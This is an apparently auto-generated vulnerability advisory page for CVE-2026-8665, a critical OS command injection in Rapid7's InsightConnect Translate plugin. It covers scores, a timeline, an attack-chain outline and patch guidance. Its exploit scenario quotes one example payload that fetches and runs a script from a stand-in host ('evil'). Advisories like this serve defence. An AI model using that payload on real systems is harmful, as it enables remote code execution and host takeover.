What is the CVSS score of CVE-2026-8665?

CVE-2026-8665 has a CVSS 3.1 base score of 9.8 (Critical). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. EPSS exploitation probability: 0.6%.

Which versions of InsightConnect TR Plugin are affected by CVE-2026-8665?

Rapid7 InsightConnect Translate Plugin versions prior to 2.0.3 contain a critical remote code execution vulnerability (CVSS 9.8) that allows remote attackers to execute arbitrary system commands,…. A patch is available.

How to fix or mitigate CVE-2026-8665?

Within 24 hours: Identify and catalog all InsightConnect installations running Translate Plugin versions before 2.0.3, documenting each system hostname, IP address, and current plugin version. Within 7 days: Deploy Translate Plugin version 2.0.3 or later on all affected systems, coordinating with teams managing InsightConnect automation to schedule updates during appropriate maintenance windows. Within 30 days: Confirm successful patch deployment on all inventory items; audit command execution logs and system activity during the vulnerability exposure window for signs of exploitation.

InsightConnect TR Plugin CVE-2026-8665

EUVD-2026-39158 CRITICAL

OS Command Injection (CWE-78)

2026-06-25 rapid7

GHSA-4v5r-xr6m-8fwr

Command Injection Insightconnect Tr Plugin

9.8

CVSS 3.1 · NVD

Severity by source

Vendor (rapid7) PRIMARY

HIGH

qualitative

NVD

9.8 CRITICAL

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

vuln.today AI

9.8 CRITICAL

Description asserts remote, low-complexity command injection with no stated auth or interaction, yielding full OS command execution, so PR:N/UI:N and C/I/A all High; PR:N retained pending confirmation that the parameters are externally reachable.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (rapid7).

CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

High

Lifecycle Timeline

Analysis Updated

Jun 29, 2026 - 19:46 vuln.today

v3 (cvss_changed)

Analysis Updated

Jun 29, 2026 - 19:45 vuln.today

v2 (cvss_changed)

Re-analysis Queued

Jun 29, 2026 - 19:37 vuln.today

cvss_changed

Severity Changed

Jun 29, 2026 - 19:37 NVD

HIGH CRITICAL

CVSS changed

Jun 29, 2026 - 19:37 NVD

7.7 (HIGH) 9.8 (CRITICAL)

Patch available

Jun 25, 2026 - 03:01 EUVD

Analysis Generated

Jun 25, 2026 - 02:16 vuln.today

CVE Published

Jun 25, 2026 - 01:12 cve.org

HIGH 7.7

DescriptionNVD

OS Command Injection vulnerability in the TR action of Rapid7 InsightConnect Translate Plugin on Linux allows remote attackers to execute arbitrary OS commands via the text or expression parameters due to insufficient input sanitization in shell command construction.

AnalysisAI

OS command injection in Rapid7's InsightConnect Translate (TR) Plugin on Linux lets remote attackers run arbitrary shell commands by injecting into the 'text' or 'expression' parameters of the TR action, which are concatenated into a shell command without sanitization (CWE-78). All plugin versions before 2.0.3 are affected. …

Unlock full vulnerability intelligence

Risk assessment & exploitation conditions
Attack chain visualization
Remediation with exact patch versions
Threat intelligence from 22 sources
Personal watchlist & email alerts

Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access

Inject shell metacharacters into TR text/expression parameter

Delivery

Plugin concatenates input into Linux shell command

Exploit

Command interpreter executes injected payload

Execution

Run arbitrary OS commands in plugin runtime

Impact

Full host compromise (C/I/A total)

Access

Inject shell metacharacters into TR text/expression parameter

Delivery

Plugin concatenates input into Linux shell command

Exploit

Command interpreter executes injected payload

Execution

Run arbitrary OS commands in plugin runtime

Impact

Full host compromise (C/I/A total)

Vulnerability AssessmentAI

Exploitation	Exploitation requires the attacker to control the 'text' or 'expression' parameter of the TR (Translate) action on a Linux-hosted InsightConnect TR Plugin older than 2.0.3; supplying shell metacharacters in that value triggers OS command execution. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment	The signals are mixed and should be weighed rather than taken at face value. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An attacker arranges for malicious input containing shell metacharacters (e.g. '; curl http://evil/x \| sh') to reach the TR action's 'text' or 'expression' parameter - for example via a workflow that ingests untrusted alert/ticket data and passes it to the Translate plugin. …
Remediation	Vendor-released patch: 2.0.3 - upgrade the InsightConnect TR Plugin to version 2.0.3 or later, which is the primary and recommended fix (vendor extension page: https://extensions.rapid7.com/extension/tr). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Identify and catalog all InsightConnect installations running Translate Plugin versions before 2.0.3, documenting each system hostname, IP address, and current plugin version. …

Threat intelligence, references, and detailed analysis are available after sign-in.